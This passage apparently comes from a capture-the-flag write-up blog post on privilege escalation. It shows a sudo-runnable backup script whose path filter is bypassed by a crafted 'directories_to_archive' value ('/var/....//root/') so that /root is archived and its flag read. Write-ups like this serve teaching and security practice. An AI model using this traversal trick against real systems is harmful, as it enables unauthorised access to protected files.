directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

A sample task.json is also available in martin home directory.

1
2
3
4
5
6
7
8
9
10
11
12
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

The way we will exploit this script is from the json file.

1
2
3
4
5
6
7
8
9
10
11
12
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": true,
        "directories_to_archive": [
                "/var/....//root/"
        ],

        "exclude": [
                ".*"
        ]
}

The actual script would just strip ../ and we will be left with the path /var/../root/.

We run the script as sudo.

1
sudo /usr/bin/backy.sh ~/backups/task1.json

Then we decompress the archive.

tar -xvjf code_var_.._root_2025_July.tar.bz2

We should be able to access the root flag now.

This post is licensed under CC BY 4.0 by the author.